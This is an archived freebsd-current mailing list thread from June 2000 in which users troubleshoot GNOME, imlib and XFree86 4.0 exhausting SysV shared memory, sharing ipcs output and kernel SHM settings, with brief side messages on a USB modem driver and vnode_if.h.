freebsd-current@freebsd.org Received: from smtprch2.nortel.com (smtprch2.nortelnetworks.com [192.135.215.15]) by hub.freebsd.org (Postfix) with ESMTP id 293DE37C435; Fri, 23 Jun 2000 12:20:16 -0700 (PDT) (envelope-from malachai@iname.com) Received: from zrchb213.us.nortel.com (actually zrchb213) by smtprch2.nortel.com; Fri, 23 Jun 2000 13:28:28 -0500 Received: from nhmbd14.us.nortel.com ([47.120.192.112]) by zrchb213.us.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id NQCKKHJA; Fri, 23 Jun 2000 13:31:35 -0500 Received: from cs163.humb.nt.com (nhmbn472.us.nortel.com [47.100.194.163]) by nhmbd14.us.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id NK10FT75; Fri, 23 Jun 2000 14:31:33 -0400 Date: Fri, 23 Jun 2000 14:30:42 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: Shawn Halpenny To: Maxim Sobolev Cc: Christopher Masto , gnome-list@gnome.org, current@FreeBSD.ORG Subject: Re: Gnome INSANE shared memory usage Message-ID: <20000623143041.A27140@cs163.humb.nt.com> References: <20000623131006.A10060@netmonger.net> <39539CB7.FCB177A0@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <39539CB7.FCB177A0@FreeBSD.org> X-Orig: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Jun 23, 2000 at 01:22:00PM EDT > Christopher Masto wrote: > > > This is a plea for help. > > > > I used to have a problem with Gnome - it ate up all of my SysV shared > > memory. My window manager (sawmill) 's title bars would come up blank > > because of this. I eventualy found the "use MIT-SHM" checkbox in the > > imlib settings and turned it off, and the problem mostly went away. > > > > I have recently upgraded to Gnome 1.2 and it has come back with a > > vengence. The checkbox no longer has any effect. I have bumped up > > the amount of shared memory, but it all gets used, no matter how much > > is available. It is driving me crazy. I can't run other programs > > (samba, fxtv) because there is never any shared memory left. Something > > is eating it all - gnome, gtk, imlib, I don't know how these pieces > > fit together or exactly where the fault lies. I am desperately looking > > for a solution that doesn't involve just giving up this very pleasant > > and otherwise useful software. > > > > I have asked a co-worker who also runs Gnome on FreeBSD to check his > > shared memory usage, and it was fine. The only difference is that I > > am running -current and he has 4.0-release. > > Hmm, where my crystal ball... Aha, I see - probably you are using Xfree 4.0, while > your friend Xfree3.5*. It is where the problem lie (see below). Here, I'm not running Gnome or -current, but I am running sawfish (sawmill) and Xfree 4.0: ~% uname -v FreeBSD 4.0-STABLE #13: Wed Jun 21 13:48:15 EDT 2000 root@nightrain.humb.nt.com:/usr/src/sys/compile/NIGHTRAIN ~% X -version XFree86 Version 4.0 / X Window System (protocol Version 11, revision 0, vendor release 6400) Release Date: 8 March 2000 If the server is older than 6-12 months, or if your card is newer than the above date, look for a newer version before reporting problems. (see http://www.XFree86.Org/FAQ) Operating System: FreeBSD 4.0-CURRENT i386 [ELF] Module Loader present ~% sawfish --version sawfish version 0.27.1 ~% uptime 2:12PM up 16:43, 5 users, load averages: 0.85, 0.77, 0.72 ~% ipcs -mbop Shared Memory: T ID KEY MODE OWNER GROUP NATTCH SEGSZ CPID LPID m 262144 0 --rw-r--r-- root users 6 4096 285 11546 m 327681 0 --rw-r--r-- root users 5 4096 285 11546 m 196610 0 --rw-r--r-- root users 5 4096 285 11546 m 196611 0 --rw-r--r-- root users 2 4096 285 309 m 131076 0 --rw-r--r-- root users 2 4096 285 309 m 4063237 0 --rw-r--r-- root users 2 4096 285 308 m 4456454 0 --rw-r--r-- root users 4 4096 285 308 m 131092 0 --rw-r--r-- root users 2 4096 285 11766 PID 11546 is an xterm, as is 308. 309 is sawfish. 11766 has gone away. I have not had any of the problems he's describing. I have never modified my shared memory settings in my kernel config either. If the problem is indeed Xfree 4.0, then I guess it must be a driver issue (I'm using the neomagic driver). -- Shawn Halpenny | Maniacal@I Ache, Ohm | "Universal Danger!" +- - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - \ | vi:G3kfM~lxfAPXh~l~2x2FirllpfcxlrifaprmfOX~Xp2hr.lrcelyl2p - - - - - - - -| fU~X~refsPprnlxppri2lxlpr,pFrpprrfaPlpfiprgllxp~3Xlpfndw To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 12:50:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from cheddar.netmonger.net (cheddar.netmonger.net [209.54.21.140]) by hub.freebsd.org (Postfix) with ESMTP id 4302737B89C; Fri, 23 Jun 2000 12:50:30 -0700 (PDT) (envelope-from chris@cheddar.netmonger.net) Received: (from chris@localhost) by cheddar.netmonger.net (8.8.8/8.8.8) id PAA23290; Fri, 23 Jun 2000 15:50:28 -0400 (EDT) Message-ID: <20000623155028.B18588@netmonger.net> Date: Fri, 23 Jun 2000 15:50:28 -0400 From: Christopher Masto To: Shawn Halpenny , Maxim Sobolev Cc: gnome-list@gnome.org, current@FreeBSD.ORG Subject: Re: Gnome INSANE shared memory usage References: <20000623131006.A10060@netmonger.net> <39539CB7.FCB177A0@FreeBSD.org> <20000623143041.A27140@cs163.humb.nt.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i In-Reply-To: <20000623143041.A27140@cs163.humb.nt.com>; from Shawn Halpenny on Fri, Jun 23, 2000 at 02:30:42PM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Jun 23, 2000 at 02:30:42PM -0400, Shawn Halpenny wrote: > I have not had any of the problems he's describing. I have never modified > my shared memory settings in my kernel config either. If the problem is > indeed Xfree 4.0, then I guess it must be a driver issue (I'm using > the neomagic driver). I think you may have a point there. While trying to find out whether XFree86 had an option to disable the MIT-SHM extension (it doesn't as far as I could tell - I ended up editing the binary and NOPping it out) I noticed that some of the code seems to be in the hardware driver area. I'm using a dual-headed configuration with a Voodoo 3 and a Number Nine (S3 ViRGE VX). -- Christopher Masto Senior Network Monkey NetMonger Communications chris@netmonger.net info@netmonger.net http://www.netmonger.net Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 12:56:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from kronos.networkrichmond.com (kronos.networkrichmond.com [64.240.180.22]) by hub.freebsd.org (Postfix) with ESMTP id 12E5837B89C; Fri, 23 Jun 2000 12:56:22 -0700 (PDT) (envelope-from kbyanc@kronos.networkrichmond.com) X-Provider: Network Richmond, LLC. http://www.networkrichmond.com/ Received: (from root@localhost) by kronos.networkrichmond.com (8.9.3/8.9.3/antispam) id PAA89634; Fri, 23 Jun 2000 15:56:20 -0400 (EDT) Newsgroups: Date: Fri, 23 Jun 2000 15:55:20 -0400 (EDT) From: Kelly Yancey X-Sender: kbyanc@kronos.networkrichmond.com To: Christopher Masto Cc: Maxim Sobolev , gnome-list@gnome.org, current@FreeBSD.ORG Subject: Re: Gnome INSANE shared memory usage Fcc: sent-mail In-Reply-To: <20000623135528.A13894@netmonger.net> Message-ID: X-Reply-UID: (2 > )(1 961787772 121)/var/mail/kbyanc MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 23 Jun 2000, Christopher Masto wrote: > Unfortunately, these are my current settings: > > options SHMALL=1025 > options SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)" > options SHMMAXPGS=1025 > options SHMMIN=2 > options SHMMNI=256 > options SHMSEG=128 > > I can increase it more, but I think this is quite a ridiculous amount > of shared memory to be using. Something must be wrong. > I have recently seen the same thing with 4.0-STABLE and XF86-4.0. I found that I had to up both SHMSEG and SHMMAXPGS. Specifically, on each machine setting SHMSEG to 100 and SHMMAXPGS to 2048 did the trick. I think that besides using many separate shared memory segments, the segments themselves are somewhat large. Seeing as how XF86-4 is in everyone's future, is there any reason not to nip these sort of problems now and up increase the default values for SHMSEG and SHMMAXPGS? The amount of additional kernel memory required is negligable for modern systems. Kelly -- Kelly Yancey - kbyanc@posi.net - Belmont, CA System Administrator, eGroups.com http://www.egroups.com/ Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 13: 1: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from kronos.networkrichmond.com (kronos.networkrichmond.com [64.240.180.22]) by hub.freebsd.org (Postfix) with ESMTP id 81AE837B89C; Fri, 23 Jun 2000 13:01:00 -0700 (PDT) (envelope-from kbyanc@posi.net) X-Provider: Network Richmond, LLC. http://www.networkrichmond.com/ Received: from localhost (kbyanc@localhost) by kronos.networkrichmond.com (8.9.3/8.9.3/antispam) with ESMTP id QAA89737; Fri, 23 Jun 2000 16:00:53 -0400 (EDT) Date: Fri, 23 Jun 2000 16:00:53 -0400 (EDT) From: Kelly Yancey X-Sender: kbyanc@kronos.networkrichmond.com To: Shawn Halpenny Cc: Maxim Sobolev , Christopher Masto , gnome-list@gnome.org, current@FreeBSD.ORG Subject: Re: Gnome INSANE shared memory usage In-Reply-To: <20000623143041.A27140@cs163.humb.nt.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 23 Jun 2000, Shawn Halpenny wrote: > > I have not had any of the problems he's describing. I have never modified > my shared memory settings in my kernel config either. If the problem is > indeed Xfree 4.0, then I guess it must be a driver issue (I'm using > the neomagic driver). > You are running sawfish, and I'm willing to bet a not very graphics intensive config at that. Try running enlightenment with the default config. The problem may not be solely attributable to XF86-4, but rather a combination of XF86-4 and imlib's aggressive use of shared memory. I suspect if you select a window manager with more eye-candy, you'll see the same results. Kelly -- Kelly Yancey - kbyanc@posi.net - Belmont, CA System Administrator, eGroups.com http://www.egroups.com/ Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 13:25:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from guru.mired.org (zoom0-003.telepath.com [216.14.0.3]) by hub.freebsd.org (Postfix) with SMTP id 3780737B78D for ; Fri, 23 Jun 2000 13:25:35 -0700 (PDT) (envelope-from mwm@mired.org) Received: (qmail 9029 invoked by uid 100); 23 Jun 2000 20:25:27 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14675.51127.239805.881113@guru.mired.org> Date: Fri, 23 Jun 2000 15:25:27 -0500 (CDT) To: Nick Hibma Cc: Warner Losh , Mike Smith , freebsd-current@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: Re: Unknown Devices In-Reply-To: References: <200006221936.NAA91645@harmony.village.org> X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Nick Hibma writes: > Yes, the driver is here and it seems to work according to Mike Meyer > (IIRC), he's fixed up a few other bits and pieces and I am ready to > commit it, but I haven't had time to test it yet. I've still got the problems I reported to the bsd-usb list, but I suspect those are specific to my modem, not umodem. I've been updating my development box to -current, along with creating space so I can install Win98 on a second disk to investigate this some more. Unfortunately, I probably won't be able to look into it for a couple of weeks, as Reality is about to make a serious intrustion. It's a lot better than what's in the tree now, and I'd certainly like to see it committed. Thanx, ; Fri, 23 Jun 2000 13:29:43 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.9.3/8.9.3) with ESMTP id QAA430250; Fri, 23 Jun 2000 16:29:34 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: References: Date: Fri, 23 Jun 2000 16:30:07 -0400 To: Kelly Yancey From: Garance A Drosihn Subject: Re: Gnome INSANE shared memory usage Cc: Christopher Masto , gnome-list@gnome.org, current@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 4:00 PM -0400 6/23/00, Kelly Yancey wrote: >On Fri, 23 Jun 2000, Shawn Halpenny wrote: > > > I have not had any of the problems he's describing. I have never > > modified my shared memory settings in my kernel config either. If > > the problem is indeed Xfree 4.0, then I guess it must be a driver > > issue (I'm using the neomagic driver). > >You are running sawfish, and I'm willing to bet a not very graphics >intensive config at that. Note that Chris (who posted the original message) is also running sawmill/sawfish... (they are the same thing, right?) --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 14:51:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id 2C76937BA27; Fri, 23 Jun 2000 14:51:30 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from bone.nectar.com (bone.nectar.com [10.0.1.105]) by gw.nectar.com (Postfix) with ESMTP id 4B69D9B37; Fri, 23 Jun 2000 16:51:29 -0500 (CDT) Received: by bone.nectar.com (Postfix, from userid 1001) id 2DFB21DC6; Fri, 23 Jun 2000 16:51:28 -0500 (CDT) Date: Fri, 23 Jun 2000 16:51:27 -0500 From: "Jacques A . Vidrine" To: Maxim Sobolev Cc: Christopher Masto , gnome-list@gnome.org, current@FreeBSD.org Subject: Re: Gnome INSANE shared memory usage Message-ID: <20000623165127.A11376@bone.nectar.com> References: <20000623131006.A10060@netmonger.net> <39539CB7.FCB177A0@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <39539CB7.FCB177A0@FreeBSD.org>; from sobomax@FreeBSD.org on Fri, Jun 23, 2000 at 08:22:00PM +0300 X-Url: http://www.nectar.com/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Jun 23, 2000 at 08:22:00PM +0300, Maxim Sobolev wrote: > Hmm, where my crystal ball... Aha, I see - probably you are using > Xfree 4.0, while your friend Xfree3.5*. It is where the problem lie > (see below). Well, I use XFree86 4.0 with two displays, and GNOME 1.2, and I don't have the kind of usage that Christopher has. [just trying to halt a possible goose chase] -- Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 15:39:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from Millenium.kabsi.at (radio.kabsi.at [195.202.128.3]) by hub.freebsd.org (Postfix) with ESMTP id D982F37BA25 for ; Fri, 23 Jun 2000 15:39:37 -0700 (PDT) (envelope-from entropy@kabsi.at) Received: from reality.kabsi.at ([195.202.183.184]) by Millenium.kabsi.at (8.9.3/8.9.3) with ESMTP id AAA25778; Sat, 24 Jun 2000 00:45:00 +0200 Message-Id: <4.3.2.7.2.20000624001902.00ae8948@mail.kabsi.at> X-Sender: e1977a01@mail.kabsi.at X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sat, 24 Jun 2000 00:29:56 +0200 To: Garance A Drosihn , Kelly Yancey From: Alexander Sanda Subject: Re: Gnome INSANE shared memory usage Cc: Christopher Masto , gnome-list@gnome.org, current@FreeBSD.ORG In-Reply-To: References: < Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 16:30 23.06.2000 -0400, Garance A Drosihn wrote: >> > modified my shared memory settings in my kernel config either. If >> > the problem is indeed Xfree 4.0, then I guess it must be a driver >> > issue (I'm using the neomagic driver). >> >>You are running sawfish, and I'm willing to bet a not very graphics >>intensive config at that. > >Note that Chris (who posted the original message) is also running >sawmill/sawfish... (they are the same thing, right?) Same here. Latest sawfish, and yes, they're the same. The name was changed from sawmill to sawfisch because of some trademark/copyright problems. I'am ready to try another WM and see whether the SHM problems stay or not (other solutions didn't exactly work, I _dramatically_ increased all the SHM limits in the kernel but still get tons of shm errors from imlib or gdk). Yet, I still see excessive shm usage in the output of ipcs (similar to the output reported by the original poster). BTW: It's for sure _not_ a -current issue and might have nothing to do with FreeBSD at all, since I'am running 4.0-STABLE on this machine, with Xfree 4.0 and Gnome 1.2. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 15:40: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from kronos.networkrichmond.com (kronos.networkrichmond.com [64.240.180.22]) by hub.freebsd.org (Postfix) with ESMTP id 65E9F37BA7A; Fri, 23 Jun 2000 15:39:41 -0700 (PDT) (envelope-from kbyanc@posi.net) X-Provider: Network Richmond, LLC. http://www.networkrichmond.com/ Received: from localhost (kbyanc@localhost) by kronos.networkrichmond.com (8.9.3/8.9.3/antispam) with ESMTP id SAA91978; Fri, 23 Jun 2000 18:39:31 -0400 (EDT) Date: Fri, 23 Jun 2000 18:39:31 -0400 (EDT) From: Kelly Yancey X-Sender: kbyanc@kronos.networkrichmond.com To: "Jacques A . Vidrine" Cc: Maxim Sobolev , Christopher Masto , gnome-list@gnome.org, current@FreeBSD.ORG Subject: Re: Gnome INSANE shared memory usage In-Reply-To: <20000623165127.A11376@bone.nectar.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 23 Jun 2000, Jacques A . Vidrine wrote: > On Fri, Jun 23, 2000 at 08:22:00PM +0300, Maxim Sobolev wrote: > > Hmm, where my crystal ball... Aha, I see - probably you are using > > Xfree 4.0, while your friend Xfree3.5*. It is where the problem lie > > (see below). > > Well, I use XFree86 4.0 with two displays, and GNOME 1.2, and I don't > have the kind of usage that Christopher has. > I don't think it is gnome per-se. Just switching from WindowMaker to enlightenment was enough to start my XSHM adventure. I suspect the culprit is really imlib/XF86-4.0 interaction. Gnome may contribute to the problem as it uses imlib itself, but enlightenment really gives imlib a workout. Kelly -- Kelly Yancey - kbyanc@posi.net - Belmont, CA System Administrator, eGroups.com http://www.egroups.com/ Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 15:41:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from cheddar.netmonger.net (cheddar.netmonger.net [209.54.21.140]) by hub.freebsd.org (Postfix) with ESMTP id 4CE3537C47F for ; Fri, 23 Jun 2000 15:41:11 -0700 (PDT) (envelope-from chris@cheddar.netmonger.net) Received: (from chris@localhost) by cheddar.netmonger.net (8.8.8/8.8.8) id SAA05064; Fri, 23 Jun 2000 18:41:05 -0400 (EDT) Message-ID: <20000623184104.E18588@netmonger.net> Date: Fri, 23 Jun 2000 18:41:04 -0400 From: Christopher Masto To: Alexander Sanda , Garance A Drosihn , Kelly Yancey Cc: gnome-list@gnome.org, current@FreeBSD.ORG Subject: Re: Gnome INSANE shared memory usage References: < <4.3.2.7.2.20000624001902.00ae8948@mail.kabsi.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i In-Reply-To: <4.3.2.7.2.20000624001902.00ae8948@mail.kabsi.at>; from Alexander Sanda on Sat, Jun 24, 2000 at 12:29:56AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Jun 24, 2000 at 12:29:56AM +0200, Alexander Sanda wrote: > BTW: It's for sure _not_ a -current issue and might have nothing to do > with FreeBSD at all, since I'am running 4.0-STABLE on this machine, with > Xfree 4.0 and Gnome 1.2. Which video card/driver are you using? (Mine is tdfx and s3virge) -- Christopher Masto Senior Network Monkey NetMonger Communications chris@netmonger.net info@netmonger.net http://www.netmonger.net Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 15:47:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from kronos.networkrichmond.com (kronos.networkrichmond.com [64.240.180.22]) by hub.freebsd.org (Postfix) with ESMTP id B040937BAA2 for ; Fri, 23 Jun 2000 15:47:33 -0700 (PDT) (envelope-from kbyanc@posi.net) X-Provider: Network Richmond, LLC. http://www.networkrichmond.com/ Received: from localhost (kbyanc@localhost) by kronos.networkrichmond.com (8.9.3/8.9.3/antispam) with ESMTP id SAA92094; Fri, 23 Jun 2000 18:47:29 -0400 (EDT) Date: Fri, 23 Jun 2000 18:47:29 -0400 (EDT) From: Kelly Yancey X-Sender: kbyanc@kronos.networkrichmond.com To: Garance A Drosihn Cc: Christopher Masto , gnome-list@gnome.org, current@FreeBSD.ORG Subject: Re: Gnome INSANE shared memory usage In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 23 Jun 2000, Garance A Drosihn wrote: > At 4:00 PM -0400 6/23/00, Kelly Yancey wrote: > >On Fri, 23 Jun 2000, Shawn Halpenny wrote: > > > > > I have not had any of the problems he's describing. I have never > > > modified my shared memory settings in my kernel config either. If > > > the problem is indeed Xfree 4.0, then I guess it must be a driver > > > issue (I'm using the neomagic driver). > > > >You are running sawfish, and I'm willing to bet a not very graphics > >intensive config at that. > > Note that Chris (who posted the original message) is also running > sawmill/sawfish... (they are the same thing, right?) > Sawmill is *very* customizable. As a matter of fact, when I last tried it the default config was kind of bare. However, a lisp wizard can really jazz it up with loads of graphics, etc. So it is possible that Shawn is using a 'simpler' config and Chris is the aforementioned lisp wizard :) Sawmill/sawfish uses imlib, so if Chris is using a config with loads of graphics, it would lend credence to my theory that imlib and XF86-4.0 are interacting to create large/many shared memory segments. Kelly -- Kelly Yancey - kbyanc@posi.net - Belmont, CA System Administrator, eGroups.com http://www.egroups.com/ Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 21:16:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from Millenium.kabsi.at (radio.kabsi.at [195.202.128.3]) by hub.freebsd.org (Postfix) with ESMTP id 541D937BB68 for ; Fri, 23 Jun 2000 21:16:10 -0700 (PDT) (envelope-from entropy@kabsi.at) Received: from reality.kabsi.at ([195.202.183.184]) by Millenium.kabsi.at (8.9.3/8.9.3) with ESMTP id GAA05223; Sat, 24 Jun 2000 06:22:42 +0200 Message-Id: <4.3.2.7.2.20000624061303.02db4270@mail.kabsi.at> X-Sender: e1977a01@mail.kabsi.at X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sat, 24 Jun 2000 06:13:29 +0200 To: Christopher Masto , Garance A Drosihn , Kelly Yancey From: Alexander Sanda Subject: Re: Gnome INSANE shared memory usage Cc: gnome-list@gnome.org, current@FreeBSD.ORG In-Reply-To: <20000623184104.E18588@netmonger.net> References: <4.3.2.7.2.20000624001902.00ae8948@mail.kabsi.at> < <4.3.2.7.2.20000624001902.00ae8948@mail.kabsi.at> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 18:41 23.06.2000 -0400, Christopher Masto wrote: > > BTW: It's for sure _not_ a -current issue and might have nothing to do > > with FreeBSD at all, since I'am running 4.0-STABLE on this machine, with > > Xfree 4.0 and Gnome 1.2. > >Which video card/driver are you using? (Mine is tdfx and s3virge) nVidia GeForce DDR To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 23: 3:24 2000 Delivered-To: freebsd-current@freebsd.org Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by hub.freebsd.org (Postfix) with ESMTP id 7579237BB37 for ; Fri, 23 Jun 2000 23:03:18 -0700 (PDT) (envelope-from kbyanc@posi.net) Received: from gateway.posi.net (user-33qtg05.dialup.mindspring.com [199.174.192.5]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id CAA10372; Sat, 24 Jun 2000 02:03:13 -0400 (EDT) Received: from localhost (kbyanc@localhost) by gateway.posi.net (8.9.3/8.9.3) with ESMTP id XAA13752; Fri, 23 Jun 2000 23:04:11 -0700 (PDT) (envelope-from kbyanc@posi.net) Date: Fri, 23 Jun 2000 23:04:10 -0700 (PDT) From: Kelly Yancey To: Alexander Sanda Cc: Garance A Drosihn , Christopher Masto , gnome-list@gnome.org, current@FreeBSD.ORG Subject: Re: Gnome INSANE shared memory usage In-Reply-To: <4.3.2.7.2.20000624001902.00ae8948@mail.kabsi.at> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 24 Jun 2000, Alexander Sanda wrote: > I'am ready to try another WM and see whether the SHM problems stay or not > (other solutions didn't exactly work, I _dramatically_ increased all the > SHM limits in the kernel but still get tons of shm errors from imlib or > gdk). Yet, I still see excessive shm usage in the output of ipcs (similar > to the output reported by the original poster). > > BTW: It's for sure _not_ a -current issue and might have nothing to do > with FreeBSD at all, since I'am running 4.0-STABLE on this machine, with > Xfree 4.0 and Gnome 1.2. > Can you guys post the output of: $ ipcs -bmo | awk -- '/^m/ {num++;total+=$7*$8}; END {print num,(total/4096)}' taken while you are experiencing the problem. The first number is the total number of shared memory segments currently active and the second should be the total number of shared memory pages in use. Thanks, Kelly -- Kelly Yancey - kbyanc@posi.net - Belmont, CA System Administrator, eGroups.com http://www.egroups.com/ Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 23:10:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id C192937BB6B; Fri, 23 Jun 2000 23:10:14 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id AAA58057; Sat, 24 Jun 2000 00:10:11 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id AAA01808; Sat, 24 Jun 2000 00:08:31 -0600 (MDT) Message-Id: <200006240608.AAA01808@harmony.village.org> To: Assar Westerlund Subject: Re: vnode_if.h: how should it be done ? Cc: current@FreeBSD.ORG, kris@FreeBSD.ORG In-reply-to: Your message of "22 Jun 2000 03:35:01 +0200." <5ln1kesdkq.fsf@assaris.sics.se> References: <5ln1kesdkq.fsf@assaris.sics.se> Date: Sat, 24 Jun 2000 00:08:31 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <5ln1kesdkq.fsf@assaris.sics.se> Assar Westerlund writes: : I think it's wrong that vnode_if.h is not installed, this means that : you need to have kernel source to compile any third-party file system. : : So I propose the patch below, to create vnode_if.h and then add it to CVS. No. I don't like it. We generally don't commit generated files (although there are exceptions). : Any objectsions/comments/whatever? Hmmm. The module system should build it automatically. It doesn't need to be used outside of the drivers/modules. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 23:12: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id BBC6F37BB53; Fri, 23 Jun 2000 23:11:57 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id AAA58066; Sat, 24 Jun 2000 00:11:55 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id AAA01831; Sat, 24 Jun 2000 00:10:15 